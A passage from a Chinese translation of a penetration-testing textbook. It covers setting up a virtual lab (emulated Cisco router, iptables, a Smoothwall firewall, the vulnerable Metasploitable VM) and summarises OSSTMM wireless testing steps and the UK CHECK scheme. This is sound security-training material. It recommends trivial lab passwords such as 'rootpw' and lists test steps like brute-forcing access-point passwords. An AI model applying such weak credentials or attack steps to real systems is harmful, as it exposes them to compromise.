这将使用一些额外的参数进行扫描,据说可以穿过防火墙。我们不会在这里覆盖每一个选项,但鼓励你阅读手册页面,并探索每一个选项的功能。此外,你可能想运行 Wireshark 并查看扫描在数据包级别上在做什么。一旦你运行了扫描,它成功了吗?扫描的一个示例输出如下截图所示:

攻击者机器

正如前面的屏幕截图所示,从扫描中收集的信息确实不多。因此,声称这可以渗透防火墙是行不通的,至少不适用于 Windows 防火墙。这是我们作为测试人员必须理解的事情。如果环境配置良好,并且防火墙对入站和出站流量都有强大的规则,它可能会成为一个难以攻破的目标。这并不是一件坏事;最终,我们都希望为我们的客户改善安全姿态。不幸的是,从安全的角度来看,我们所面对的大多数架构总是存在弱点。虽然这对安全来说是不好的,但对我们的测试来说是很好的!

路由器

我们之前看过的架构的一部分示例如下图所示:

路由器

正如前面的图表所示,在我们的架构中,我们遇到的第一层防御是路由器。我们可能会遇到许多不同的设备,如果我们有一个不是移动的实验室环境,我们可以使用实际的物理设备。我相信你们许多人都知道的一个来源是拍卖网站,比如 eBay,它们可以帮助以合理的价格购买二手设备。我个人多次使用的另一个网站是www.routermall.com,我喜欢这个网站的原因是在购买设备时会附带电缆和 IOS 软件。正如我们之前所说的,我们更关心的是建立一个可以携带在笔记本电脑上的渗透测试实验室,因此物理路由器无法提供这种能力。因此,我们必须寻找可以放入机器中并模拟或执行路由器功能的解决方案。

虽然我们可以使用设备的数据包转发功能将任何机器变成路由设备,但这并不是我们想要用我们的路由设备实现的唯一功能。当你在测试中遇到周边设备时,该设备很可能会有某种形式的过滤。因此,我们希望我们选择的路由器组件具有执行某种形式过滤的能力。

我们想与您分享的一个解决方案是思科路由器仿真软件 Dynamips,最初由 Christophe Follet 于 2005 年编写,并在 2008 年之前维护。原始的 Dynamips 软件已不再维护,但对于我们的目的,最后一个版本将提供我们所需的所有功能。要使用任何思科模拟器,有一个要求,那就是您必须有一个思科 IOS 版本来访问和引导。在下一节中,我们将为那些无法获得思科 IOS 镜像的人提供另一种解决方案。

从这一点开始,我们将使用Dynamips软件,然后使用Dynagen作为基于文本的前端。对于那些想要基于 GUI 的界面和最新版本的 Dynamips 的人,可以访问www.gns3.net并在那里获取所需的软件。此外,您还可以获取有关该软件的大量资源和文档,它不仅适用于思科设备,还适用于 Juniper 设备。这是一个非常好的参考,可以帮助您开发模拟各种设备的实验室。该软件还有一个 Windows 安装程序包,您可以在 Windows 环境中运行模拟器。

以下截图显示了更多关于 GNS3 工具的详细信息的示例:

Router

关于这个问题讨论够了,让我们建立一个路由器!我们希望使用 Ubuntu 作为我们的路由器仿真软件平台。您可以访问 Ubuntu 网站并从www.ubuntu.com/download/desktop下载软件。在撰写本书时,最新的稳定版本是 12.04,这是我们将用于路由器平台的版本。64 位版本可能会有一些挑战;对于我们的目的,32 位或 64 位版本都可以使用。

下载了 ISO 镜像后,您将在 VMware Workstation 中创建一个新的虚拟机并挂载 ISO 镜像。我们在第三章中介绍了这些步骤,规划一个范围,所以您应该对它们很熟悉。如果不熟悉,可以参考该章节以获取确切的步骤序列。VMware Workstation 很可能会识别 ISO 镜像并提供执行简单安装的选项。这是可以接受的,也可以不接受,这取决于个人偏好。

创建了机器并从 ISO 镜像引导后,您将通过安装提示安装软件到虚拟机的硬盘中。在大多数情况下,您可以接受默认安装,但随时根据需要进行更改。请记住,这是虚拟环境的优势之一。如果我们搞砸了什么,我们可以创建另一个,或者正如我们讨论过的,如果我们已经拍摄了快照,我们可以恢复到那个状态。Ubuntu 的一个很棒的功能是在安装完成后添加软件包的能力。

安装完成后,默认情况下,虚拟机将有一个连接到 NAT 交换机的网络适配器,但是根据我们设计的架构,我们知道我们的路由器需要两个接口。如下图所示,这是为了提供连接性:

Router

要使用 Ubuntu 机器创建我们的架构,我们必须添加一个网络适配器并将其连接到 VMnet2 交换机。在 VMware Workstation 中,您无需关闭虚拟机即可添加新的适配器。在软件中,导航到View | Console View以打开虚拟机的配置视图。单击Edit virtual machine settings,添加一个网络适配器并将其连接到 VMnet2。所需配置的示例如下截图所示:

Router

现在我们已经为路由器机器设置了配置,我们需要获取一个 IOS 镜像并将其复制到机器中。正如我们所提到的,如果您无法访问 IOS 镜像,您将无法使用 Dynamips 工具。在下一节中,我们将提供一个不需要访问 IOS 镜像并提供我们所需的相同过滤功能的解决方案。

Dynamips 软件可以从 Ubuntu 的软件存储库中获取;在您的 Ubuntu 机器上,通过单击屏幕左侧菜单栏上的终端图标来打开终端窗口。如果您看不到终端图标,您可以单击Ubuntu 软件中心并搜索它。

在终端窗口中,输入sudo apt-get install dynamips。这将获取 Dynamips 软件并安装它。安装完成后,我们将安装该工具的前端应用程序。在终端窗口中输入sudo apt-get install dynagen

为了不必为每个命令输入sudo,输入sudo -i。我们用来配置路由器的配置文件被复制到一个相当长的路径,我们现在将修复这个问题。我们将使用示例配置文件simple1.net。输入cp /usr/share/doc/dynagen/examples/sample_labs/simple1/simple1.net /opt/config.net

现在我们已经复制了配置文件,让我们来看一下它。输入more /opt/config.net。默认配置文件的示例如下截图所示:

Router

我们将专注于我们的配置的两个区域。在路由器镜像部分,我们必须指定系统上 IOS 镜像的路径。第二个区域是路由器部分。在示例中,我们将为路由器使用名称R1,如您所见,路由器 R1 有一个串行接口,连接到 R2 的串行接口。这是一个双路由器的示例配置,对于我们的目的,我们不需要那么多路由器。您可以探索不同的配置,但在本书中,我们将专注于只有一个路由器,因为这是我们在设计中确定的边界设备。

我们希望我们的 R1 路由器配置有两个网络接口;一个将连接到 VMnet8 NAT 交换机,另一个将连接到 VMnet2 交换机。因此,我们在 Ubuntu 机器上配置了两张网络卡,所以只需将接口的配置输入到config.net文件中即可。我们必须输入能够识别接口的配置,这就是所谓的 tap 接口,这超出了我们在这里讨论的范围;但是,如果您想了解更多,请参考www.innervoice.in/blogs/2013/12/08/tap-interfaces-linux-bridge。通过输入gedit /opt/config.net来打开您的config.net文件。根据需要更改路径为 IOS 镜像文件的路径,然后在 R1 路由器部分,输入以下内容以替换当前的串行接口:

f0/0 = NIO_linux_eth:eth0

f1/0 = NIO_linux_eth:eth1

这将把快速以太网接口连接到 Ubuntu 机器的接口。您可能想要更改的另一个设置是 RAM 分配。默认值为 160 MB,这有点低,所以我建议您将其增加到320。此步骤的配置示例如下截图所示:

Router

另外,注释掉路由器 R2,因为我们不使用它。现在我们准备测试我们的配置。在终端窗口中,输入dynamips -H 7200。这将在端口 7200 上启动 Dynamips 服务器。如果一切顺利,您应该看到类似于以下截图的输出:

Router

下一步是启动我们的配置文件,并与我们在机器上加载的 Cisco IOS 进行交互。我们在本书中使用的示例 IOS 镜像是用于 7200 系列路由器的,因此我们可以在其上配置许多接口。但是,对于我们的目的,我们只需要两个快速以太网接口来执行我们的路由,更重要的是,随着我们在架构的各个部分之间进行流量过滤,我们需要这样做。

在另一个终端窗口中,输入 dynagen /opt/config.net。这将读取我们创建的配置文件并加载 IOS 镜像以进行访问。希望您在这里不会遇到任何错误,但如果遇到了,那么现在是时候进行故障排除了。最常见的错误是路径错误。如果是路径错误,您将看到一条消息,说找不到镜像。应该看到的示例如下截图所示:

Router

此时,我们准备启动路由器 R1;您可以通过在 Dynagen 提示符中输入 console R1 命令来实现这一点。这将使您登录到路由器,就好像您是通过控制台电缆连接一样。您应该会看到另一个窗口打开。这是连接到路由器的访问。按下 Enter 键应该会带您到登录提示符,如下截图所示:

Router

从这里开始,就是使用路由器命令来配置我们的路由器的两个接口;在路由器提示符下输入 en 进入路由器的特权模式。一旦进入特权模式,输入 show ip int brief 来查看路由器的接口配置。您会看到还没有接口配置,所以我们必须进行配置。命令的输出示例如下截图所示:

Router

现在我们要配置这些接口(f0/0 和 f1/0),因为它们目前还没有设置。我们可以通过终端选项的全局配置来实现这一点。要访问这个,输入 conf t 在路由器命令提示符下。这将使您进入配置模式。输入 int f0/0 进入接口配置菜单,并输入 IP 地址 192.168.177.10 255.255.255.0。这将为 f0/0 接口创建一个连接到我们的 VMnet8 NAT 交换机的配置。输入 no shut 命令来启动接口。完成后,我们将对下一个接口执行相同的操作。在提示窗口中,输入 int f1/0 进入 f1/0 接口的配置菜单。接下来,我们必须配置连接到我们的 VMnet2 交换机的 IP 地址,因此输入 IP 地址 10.2.0.10 255.255.255.0。在接口配置窗口中,通过输入 no shut 来启动接口。现在我们应该已经配置好了接口。要返回到主路由器提示符,按下 Ctrl + Z。通过输入 show ip int brief 来验证您的配置。接下来,我们将验证我们在 VMnet8 交换机上是否有连接性,输入 ping 192.168.177.1。完成的配置示例如下截图所示:

Router

直到您连接某些东西到内部虚拟交换机,您将无法验证另一个交换机。这是因为 VMnet2 交换机在您的主机上不是一个适配器,除非您在创建时选择了该选项。接下来我们要做的是保存我们的配置;这也是最重要的事情之一。要做到这一点,输入 write mem。对于阅读本文的人,您可能知道另一种方法,那就是 copy run start 命令。

现在我们在 Ubuntu 机器上有一个完整的 Cisco 7200 路由器,我们可以在 IOS 中配置任何我们想要的东西,比如 IPsec 和其他东西。现在,我们将停止使用 Dynamips 工具,继续进行,对于那些不想获取 Cisco IOS 镜像的人。在您的 dynagen 提示符中,输入 stop R1 以关闭路由器。

对于那些没有访问 Cisco IOS 镜像的人,我们可以用几乎任何你想使用的 Linux 或 Unix 机器来完成我们架构所需的工作。由于我们在第一个示例中使用了 Ubuntu 平台,我们将在这里使用另一个。我们的目的是具有过滤功能,我们可以通过使用安装了 iptables 软件的操作系统来实现这一点。我们将使用 Debain 发行版来完成这项任务。您可以从官方 Debian 网站www.debian.org下载 Debian。下载镜像后,您需要创建一个虚拟机并运行安装过程。安装操作系统后,您需要配置网络。一个安装的网络适配器将连接到 VMnet8 NAT 交换机,第二个将需要连接到 VMnet2 交换机。进行配置更改后,您的设置应与下一个截图中显示的设置相匹配:

路由器

我们创建的两个虚拟交换机的配置为我们提供了一个 DHCP 服务器来分配 IP 地址,但由于这将作为路由器运行,最好为接口设置静态地址,这将允许我们在创建过滤规则时拥有更精细的过滤规则。此外,我们不必在每次启动机器时更改设置,因为地址不会像 DHCP 那样发生变化。

Debian 发行版使用一个配置文件来设置网络卡在启动时要具有的参数。使用您选择的编辑器,打开/etc/network/interfaces;我们要配置我们的两个网络接口,eth0 和 eth1。完成的配置示例如下截图所示:

路由器

我们本可以配置与 Dynamips 中使用的相同地址,但是如果将来我们想同时运行 Debian 和 Ubuntu 机器,我们将会遇到 IP 地址冲突。因此,总是一个很好的设计决策是为这种可能性做好计划并配置唯一的地址。我们想使用 IP 表工具来执行我们的过滤,启动 Debian 机器并登录。要验证是否安装了 iptables,在终端窗口中输入iptables -h以显示工具的用法。这个命令的输出示例如下截图所示:

路由器

我们现在已成功设置了 Debian 机器,下一步是配置 IP 表以支持我们需要的过滤。这是我们在开始测试设备时要做的事情。

防火墙

现在我们已经配置并设置了路由器,我们架构中的下一个组件是防火墙。与路由器选项一样,我们可以选择许多选项。首先,让我们看一下关于防火墙的网络架构。这在下一个图表中显示:

防火墙

在上一个图表中显示,我们的堡垒主机有三个接口,用作我们的防火墙;这将要求我们连接三个交换机。我们将使用的防火墙是Smoothwall防火墙的免费版本。再次强调的一个重要点是,你放入架构中的防火墙有时取决于你计划的合同。因此,我们的意图是提供一个防火墙,以便我们在练习中测试我们在研究过程中发现的不同漏洞时可以测试多种不同的配置。您可以从www.smoothwall.org/download/下载 Smoothwall 防火墙的 ISO 镜像。

下载 ISO 镜像后,创建一个虚拟机。我们希望这台机器有三个接口,以满足我们的网络设计所需的连接性。这种配置的示例如下截图所示:

防火墙

这台机器需要三张网卡,每张网卡都将连接到堡垒主机接口,接口如下:

  • VMnet2—eth0—红色

  • VMnet3—eth1—绿色

  • VMnet4—eth2—橙色

我们需要做的另一件事是更改硬盘类型。默认情况下,安装程序会将其设置为 SCSI 硬盘,这会导致工具出现问题。为了避免这种情况,我们将把设置更改为 IDE。导航至编辑虚拟机设置 | 硬盘 | 移除。硬盘移除后,导航至编辑虚拟机设置 | 硬盘 | 下一步 | IDE | 下一步 | 下一步 | 完成

当您启动机器时,安装程序将启动。阅读不同步骤的说明,并接受安装过程的默认设置。接受半开放的默认配置。此设置将安装谨慎的安全方法,即在大多数情况下,未明确定义的内容是不允许的。

网络配置类型中,我们要更改配置以匹配所需的交换机设计,即绿色、橙色和红色。在网络配置窗口中,选择绿色 + 橙色 + 红色,然后按Enter

注意

您无法使用鼠标,因此需要使用箭头键和TAB键在菜单中移动。

请按照下一个截图中显示的连接设置进行验证:

防火墙

我们需要设置的下一件事是卡分配;当您选择此选项时,我们创建的网络配置将被探测。因此,每次检测到一个网络卡,它将被分配到一个接口。接口的顺序将是红色、绿色,然后是橙色。因此,我们需要按照这个顺序进行分配,因为它将分别匹配 eth0、eth1 和 eth2。

一旦所有网卡都被分配,下一步要做的是设置 IP 地址。IP 地址将配置如下:

  • 红色—DHCP

  • 绿色—10.4.0.10

  • 橙色—10.3.0.10

分配完网卡后,您将被提示设置两个密码:一个用于远程访问,另一个用于 root 用户。我建议您将它们设置为易记的密码,因为这只是用于测试环境。我通常使用用户名后跟pw。因此,对于 root 用户,密码将是rootpw。您可以自由设置任何密码。设置密码后,系统将重新启动。重新启动后,您需要登录并验证三个接口是否按照我们的意图设置。登录后,请验证接口是否配置如下一个截图所示:

防火墙

首选方法是通过绿色接口从 Web 浏览器访问配置。我们可以在 VMnet4 交换机上设置另一台机器,或者另一种方法是使用主机进行配置。为了具有这种功能,我们必须将交换机连接到主机。在 VMware Workstation 中,导航至编辑 | 虚拟网络编辑器 | VMnet4,并选择连接主机虚拟适配器到此网络。下一个截图显示了已完成的配置示例:

防火墙

下一步是打开您选择的浏览器,并输入https://10.4.0.10:441;这将打开 Web 登录界面。输入在安装过程中配置的管理员用户名和密码。登录后,您将进入防火墙的主菜单。导航至网络 | 传入,这将显示配置的入站流量规则。下一个截图显示了一个示例:

防火墙

前面的屏幕截图显示,默认情况下,Smoothwall 不允许任何发起的流量进入;这是架构应该开始的方式。然后,流程是通过策略添加组织想要允许的协议。对于我们的目的,当我们想要测试某些东西并将其放置在橙色接口上时,我们将不得不在这里放置一个规则。如果我们想要进入内部网络或绿色接口,那么除非您强制它,否则它不会让您配置。这是因为从外部,不应允许连接到内部。通过使用这个平台,我们现在有一个默认关闭的良好配置的堡垒主机。我们接下来要看的是出站或出口流量。单击出站以打开配置。

下一个截图显示了此默认配置的示例:

防火墙

默认配置允许绿色接口上的任何机器访问大多数网络用户所需的任何服务。这是半开放安装的强大之处;它允许我们在防火墙的内部接口上绑定所有我们需要的端口,然后在外部接口上没有打开任何端口,除了我们需要满足安全策略需求的端口。

现在,我们将在这里停下,因为我们已经涵盖了防火墙作为堡垒主机的主要配置,是时候转移到另一个主题了。鼓励您根据需要对防火墙进行实验和测试。测试它的一个好方法是启动您选择的黑客工具,并将目标设置为堡垒主机红色接口上的接口。

Web 服务器

现在我们已经建立了我们的架构,所以是时候为我们的测试添加组件了。这取决于我们遵循的测试方法论的结果。也就是说,我们希望有许多不同的 Web 服务器进行测试和练习。在第三章中,我们从 OWASP 组织下载并使用了破损的 Web 应用虚拟机。所以,我们有一个很好的 Web 服务器。接下来,我们将下载另一个易受攻击的 Web 服务器进行练习。我们想要下载并使用 Rapid7 提供给我们的 metasploitable 虚拟机。您可以从以下链接下载虚拟机:

www.rapid7.com/metasploit

您将需要注册才能下载该应用程序。下载后,打开虚拟机并添加一个连接到 VMnet1 接口的网络适配器。与大多数虚拟机一样,默认情况下,网络适配器设置为 VMnet8 接口,我们可以将其用于直接测试。每当我们想要将 Web 服务器移动到我们架构的另一个位置时,我们只需更改适配器连接的交换机。此外,我们可以拍摄快照,并为我们想要测试的每个位置拍摄一个快照;此外,我们可以克隆机器,并在我们的架构周围克隆机器。我们如何做并不重要。意图是拥有机器来测试我们的技能,然后在我们和目标之间或之间放置障碍,并学习如何克服它们的方法。

一旦您启动了机器,请使用用户名msfadmin和密码msfadmin登录到机器。登录后,请注意 IP 地址,打开浏览器并连接到机器上的 Web 服务器。机器主页的示例如下截图所示:

Web 服务器

在上一个屏幕截图中,metasploitable 虚拟机为我们提供了多个测试站点;我们有 Mutillidae,Damn Vulnerable Web App 等。这将为我们提供多种测试网络的技术。

目前,metasploitable 机器与我们下载的虚拟机的组合已经足够。我们仍然需要在我们的网络架构中构建一些组件,并且我们将在本书的后续章节中进行讨论。

总结

在本章中,我们已经研究了建立范围所需的规划和准备工作。我们研究了创建机器的过程,以及在我们的网络上放置机器的计划,使我们能够模拟多种不同的分层架构。

然后,我们开始讨论范围组件,并确定了在边界需要具有过滤功能的路由设备的需求。此外,我们探讨了一个能够运行我们软件的堡垒主机机器的选项。我们用讨论如何创建一个 Web 服务器结束了本节。为此,我们下载了 metasploitable 虚拟机。正如我们在本章中讨论的那样,我们将为我们的范围添加更多的组件,但目前,我们添加的组件已经足够继续前进。在下一章中,我们将探讨一些专业测试时可用的测试方法。

第五章:确定方法论

在这一章中,我们将针对测试方法论看一些不同的参考资料。在第一章中,介绍渗透测试,我们讨论了一个抽象的方法论,但在这一章中,我们将更详细地研究它。这是因为现在我们已经为设计设置了初始目标范围环境,我们希望研究一种系统化的测试实践过程。如果没有一个方法论,我们就会陷入所谓的临时测试组,这是专业测试人员应该避免的。我们将讨论以下主题:

  • 开源系统测试方法手册OSSTMM

  • 检查

  • NIST SP-800-115

  • 攻击性安全

  • 其他方法论

  • 定制

本章将为我们提供多种测试方法,以便我们在选择或构建自己的测试方法时能够做出明智和知情的选择。

OSSTMM

OSSTMM于 2001 年由安全和开放方法学研究所ISECOM)首次创建。来自世界各地的许多研究人员参与了它的创作。ISECOM 是一个非营利组织,设在西班牙巴塞罗那和纽约。

OSSTMM 的前提是验证。OSSTMM 是一本经过同行评审的手册,提供了专业的测试方法和指导。此外,由于它是由多个来源开发的,该手册具有国际风味。

OSSTMM 正在不断发展;您可以从www.isecom.org/research/osstmm.html下载最新版本。

在撰写本书时,OSSTMM 的当前版本是版本 3,但正在审查草案版本 4。下载这两个版本并审查更新版本中正在进行的差异和更改是一个好主意。以下是下载页面的示例:

OSSTMM

如前面的屏幕截图所示,您必须成为 ISECOM 的金牌或白金团队的一部分,才能下载手册的草稿版本。

下载图像后,打开手册。我们将查看手册的一些部分,更重要的是测试方法。您将在手册中注意到的第一件事是关于手册提供的声明。这个重要声明的一部分在这里引用:

"这本手册提供了导致经过验证的事实的测试案例。这些事实提供了可衡量地改进您的运营安全的可操作信息。通过使用 OSSTMM,您不再需要依赖于一般最佳实践、轶事证据或迷信,因为您将拥有特定于您需求的经过验证的信息,以便基于您的安全决策。"

正如声明所说,这本手册提供了一个适用于我们测试挑战的方法和解决方案。对于我们的目的,我们不会阅读整本手册。我们的目的是在本章介绍一些不同的方法论,然后让您进行研究并采用其中的一种。或者,您可以遵循推荐的方法,即根据您研究过的这些和其他方法论的部分和组件创建自己的方法论。

在部署遵循 OSSTMM 的安全测试时使用的主要项目是安全测试审计报告STAR)。其示例位于 OSSTMM 的末尾。在查看报告之前,我们将讨论 OSSTMM 关注的组件。OSSTMM 要澄清的主要事情之一是,它不是一本黑客书籍;它是一种依赖于以下内容的专业测试方法:

  • 您想要测试的目标类型

  • 您将如何测试它们

  • 发现的控制类型

当您审查 OSSTMM 时,您会发现该手册的主要目的是为操作安全的准确表征提供科学方法。该手册可以为我们几乎所有的测试角色提供参考;此外,该方法可以应用于渗透测试、道德黑客、安全评估、漏洞评估、红队行动等。事实上,该手册可以用于支持我们可能参与的任何测试环境。

根据其创建者的说法,该手册还有第二个目的,即提供完成经认证的 OSSTMM 审计的指南。OSSTMM 审计侧重于以下组件:

  • 测试进行得很彻底

  • 测试包括所有必要的渠道

  • 测试的姿态符合法律

  • 结果可以以可量化的方式进行衡量

  • 结果是一致的和可重复的

  • 结果仅包含从测试中得出的事实

正如预期的那样,该手册侧重于 OSSTMM 流程的认证。如果您希望实现这一目标,欢迎您进行研究。对于我们在本书中的目的,我们只会关注该方法的一些不同组成部分。213 页的长度可能需要一些时间来审查该方法中包含的所有材料。我们在这里要讨论的组件列表的主要观点是结果是一致的和可重复的。这是我们在测试中想要实现的,即它应该是一个可重复的过程,无论我们尝试哪种测试,系统化的过程都是相同的。

OSSTMM 关注操作安全是通过查看跨多个渠道的安全性来实现的,这些渠道包括人类、物理、无线、电信和可以通过任何矢量访问的数据网络。

在讨论这些渠道之前,我们将看一下 OSSTMM 流程的主要要点。您可能还记得,OSSTMM 提供了操作安全的测量。正如手册所述,这种操作安全是分离和控制的概念。此外,对于威胁要有效,它必须与它试图攻击的资产进行交互。

当你看到这个时,OSSTMM 所说的是,如果我们能够实现威胁和资产之间的完全分离,我们就可以实现 100%的安全!虽然这是我们希望实现的目标,但对于今天大多数网络和服务来说是不可能的。因此,我们应用控制措施来减轻和降低提供可能被威胁利用的访问的风险。OSSTMM 将操作安全分解为以下元素:

  • 攻击面

  • 矢量

  • 渗透测试安全

攻击面是特定分离和控制的缺乏。矢量是与在目标上发现的弱点进行交互的方向,最后是渗透测试安全,它平衡了安全性和控制与其操作和限制。手册继续定义了完整的术语,但这超出了我们想要涵盖的范围。

与其查看每个渠道的细节,我们将回顾其中一个渠道的细节,即无线渠道。我们将讨论频谱安全的组件,并将其定义为电子安全ELSEC)、信号安全SIGSEC)和辐射安全EMSEC)的安全分类,其定义如下:

  • ELSEC:这是拒绝未经授权访问来自电磁源的信息的措施

  • SIGSEC:这是保护无线通信免受未经授权访问和干扰的措施

  • EMSEC:这是防止拦截无线通信中使用的机器和设备的辐射的措施。

在测试无线设备时,有许多因素需要考虑。其中最重要的因素之一是测试人员的安全。有许多电磁和微波辐射源可能对听力和视力造成伤害。因此,分析人员在接近任何测量为-12dB 及以上的源时可能需要佩戴防护设备。不幸的是,这经常被忽视,但测试人员在可能使他们处于危险之中的环境中必须得到保护是至关重要的。从这些类型的源的近距离可能存在许多潜在危险。因此,在室外测试时,确保已经评估了测试地点附近信号的频率和强度。OSSTMM 中详细讨论了这些防护措施。手册中一些考虑因素的例子如下图所示:

OSSTMM

现在已经简要讨论了物理考虑因素,接下来要讨论的是姿势审查。

姿势审查

姿势审查由以下组成:

  • 政策:审查和记录政策、合同和服务级别协议SLA

  • 法规:审查和记录国家和行业法规

  • 文化:审查和记录组织安全文化

  • 年龄:审查和记录系统、软件和所需服务的年龄

  • 脆弱的物品:审查和记录需要特殊处理的系统、软件和服务

后勤工作

接下来我们要做的是后勤工作;这被定义为准备通道环境,以帮助我们防止可能导致不准确结果的假阳性和假阴性。对于我们的无线测试,我们将考虑三个方面,它们如下:

  • 通信设备:我们希望确保在测试之前和测试期间对所有源的辐射进行图表记录。关于这一点的攻击被称为范埃克窃听。关于这一点的简明解释,请参考www.techopedia.com/definition/16167/van-eck-phreaking

  • 通信:测试在整个传输媒介中使用的协议

  • 时间:这是进行测试的时间框架。例如,我们可以进行 24 小时的测试,或者有特定的测试时间框架。

现在我们准备进行测试的下一步,即主动检测验证。

主动检测验证

这是一个过程,我们确定了哪些控制措施已经就位;同样,这有助于我们减少测试中的假阳性数量。重要的是要注意,作为测试人员,我们希望向客户解释,他们能够提供的信息越多,我们在测试方面就能做得越多。我们可以在测试的过程中研究所有信息,但这让我们更深入地了解了测试开始时的环境。这使我们更能集中精力关注弱点的细节,而不是发现过程。我们想要审查的主要两个方面如下:

  • 通道监控:这涉及到入侵监控和信号篡改的控制措施

  • 通道调节:确定是否已经设置了提供潜在信号屏蔽或干扰的控制措施,并寻找未经授权的活动

可见性审计

在审查方法论时,我们接下来遇到了一个可见性审计步骤。这是人员可见性的枚举和验证测试过程。根据 OSSTMM,我们要处理三个领域,它们如下:

  • 拦截:定位访问控制和周界安全以及拦截或干扰无线信道的能力

  • 被动信号检测:确定可以泄漏到被测试区域内或外的频率和信号,使用多种不同的天线

  • 主动信号检测:检查源触发响应,如目标区域内的射频识别(RFID)

访问验证

接下来我们要审查的是访问验证。这是一个测试,用于列举范围内人员的访问点。我们检查以下内容:

  • 评估对无线设备的管理访问:确定在不使用时是否关闭了接入点

  • 评估设备配置:测试和记录使用天线分析,无线设备是否设置为最低可能的功率设置,以保持足够的操作,使传输保持在定义的边界内

  • 评估无线网络的配置、认证和加密:验证接入点的服务集标识符(SSID)是否已从默认值更改,并且管理界面未设置为默认密码

  • 认证:列举和测试认证和授权方法中的不足之处

  • 访问控制:评估访问控制、周界安全和拦截或干扰通信的能力

信任验证

接下来我们将讨论信任验证;这一步是测试范围内人员之间的信任和对信息的访问,而无需身份识别或认证。这一测试步骤涉及以下项目:

  • 误导:测试和记录客户端的认证方法

  • 欺诈:测试和记录使用欺诈证书访问无线设备的要求数量

  • 资源滥用:测试和记录发送数据到已知和信任来源之外的要求数量,而没有建立的凭据

  • 盲目信任:测试和记录与虚假或受损接收器的连接

控制验证

既然我们已经讨论了信任验证过程,接下来我们将看看控制验证的过程。这包括以下项目:

  • 不可否认性:列举和测试正确识别和记录对特定属性的访问或交互的挑战

  • 保密性:列举和测试使用减幅设备减少电磁信号传输以及保护无线传输的控制措施

  • 隐私:确定用于保护设备的物理访问控制水平

  • 完整性:确定数据只能被授权用户访问修改,并确保适当的加密已就位

过程验证

过程验证用于检查已建立的流程中人员的功能安全意识的维护,这些流程在姿势审查中定义。这一步的组成部分如下:

  • 基线:检查和记录基线配置,以确保安全立场符合安全策略

  • 适当的屏蔽:检查并确定适当的屏蔽是否已就位以阻止无线信号

  • 尽职调查:映射和验证实践与要求之间的差距

  • 赔偿:记录和列举目标和服务是否投保以防盗或损坏

配置验证

配置验证是我们检查资产功能安全的能力是否被规避或中断的步骤。这一步所需的项目如下:

  • 常见的配置错误:对接入点进行暴力攻击,以确定密码的强度。验证使用的密码是否复杂,并包含多种不同的字符类型。

  • 配置控制:检查控制并根据安全策略验证配置。

  • 评估和测试布线和排放:验证所有布线是否进出有屏蔽设施。

财产验证

财产验证检查可能非法或不道德的信息和物理财产;这一步包括以下内容:

  • 共享:验证财产在人员之间共享的程度,无论是有意还是无意地通过许可证、资源或疏忽管理

  • 流氓无线收发器:对所有设备进行完整清点,并验证组织是否有足够的安全策略来处理无线技术的使用

分离审查

分离审查是对私人和个人信息与商业信息适当分离的测试。审查包括以下内容:

  • 隐私遏制映射:映射私人信息,例如存储信息的内容、方式和位置,以及通过哪些渠道进行通信

  • 披露:检查和记录私人信息的披露类型

  • 限制:检查并记录与该渠道相关的身体限制的门户和替代渠道

暴露验证

暴露验证是发现可能导致经过身份验证的访问或允许使用相同身份验证访问多个位置的信息的过程。此步骤的要求如下:

  • 暴露映射:列举和映射有关组织的人员信息,以及隐含存储和分类为敏感的任何信息

  • 配置文件:使用各种天线检查和验证无线信号与设备信息是否超出所需范围

竞争情报侦察

竞争情报侦察测试是用于分析作为商业情报的可分析财产的搜寻;这是一种用于识别企业竞争对手的市场领域。其要求包括以下内容:

  • 商业磨合:通过分析被动和主动辐射以及信息的存储和通信方式、位置,映射范围内的目标

  • 商业环境:探索和记录业务细节,包括联盟、合作伙伴、主要客户、供应商和分销商

  • 组织环境:检查和记录业务财产在运营过程中的披露

隔离验证

隔离验证是确定和衡量隔离的有效使用,因为它涉及对目标的访问和内部。其要求如下:

  • 遏制过程识别:识别和检查目标中所有渠道的隔离方法和过程,以应对侵略性联系

  • 遏制级别:验证遏制状态,包括互动的长度和所有渠道,其中有隔离方法

特权审计

特权审计测试将调查用户提供凭据的地方以及是否允许使用这些凭据进行测试。其要求如下:

  • 识别:检查和记录通过合法和欺诈手段获取身份的过程

  • 授权:验证使用欺诈授权获取特权

  • 升级:验证并映射通过普通用户权限访问信息的方式,并尝试获取更高的权限

  • 征服:列举并测试所有渠道使用或启用控制的不足

生存能力验证

生存能力验证是确定和衡量目标在试图导致服务故障的范围内的弹性的过程。其要求如下:

  • 连续性:列举并测试访问延迟和服务响应时间

  • 弹性:绘制并记录从安全漏洞中断连接通道的过程

警报和日志审查

警报和日志审查是对执行的活动之间的差距分析,包括从第三方方法记录的这些活动的真实深度。对此的要求如下:

  • 警报:验证和列举警告系统

  • 存储和检索:记录和验证对报警、日志和存储位置的非特权访问

这结束了 OSSTMM 的无线测试部分。正如你所看到的,这是一个非常深入的参考资料,在行业中得到了充分的认可。虽然 OSSTMM 是一个很好的参考资料,但我们大多数人将使用它的组件,而不是所有必需的流程。我们将从 OSSTMM 中介绍的最后一件事是 STAR。STAR 的目的是提供一份信息的执行摘要,陈述了目标的攻击面与测试范围相关的情况。您可以在第十三章中了解更多信息,构建完整的网络安全范围

CHECK

我们包含了关于 CHECK 的信息,因为多年来我们在英国进行了许多评估;因此,在那里进行评估时,这是一个重要的部分,特别是当您为政府或国防部进行安全评估时。

所以,你可能想知道 CHECK 是什么。在我们定义它之前,我们将提供有关成立 CHECK 的团体的额外细节。这个团体是国家信息保障技术权威,或者他们通常被称为通信电子安全组(CESG)。CESG 是提供 IT 健康检查的机构,用于评估处理标记信息的系统。

当一家公司属于 CHECK 时,如果遵守了 CHECK 的指南,它向客户提供了公司将提供高质量服务的保证。CHECK 可以用于包含机密信息的系统,但对于机密信息,需要从 CESG 获得额外的许可。公司成为 CHECK 成员的挑战之一是,为了访问受保护的标记信息,测试人员或团队成员必须至少持有安全审查(SC)许可。更多信息可以在以下链接找到:

www.cesg.gov.uk/servicecatalogue/CHECK/Pages/WhatisCHECK.aspx

此外,团队成员可以通过成功通过考试来满足要求。考试的详细信息将不在此讨论,但以下截图显示了一个带有额外参考信息的示例:

CHECK

现在我们已经简要地了解了 CHECK 是什么,我们现在可以看看在进行我们的渗透测试或评估时,它为我们提供了什么。CHECK 包括确定 CHECK 系统基本要求的基本原则。

以下截图显示了成员资格和分配的两个组成部分的示例:

CHECK

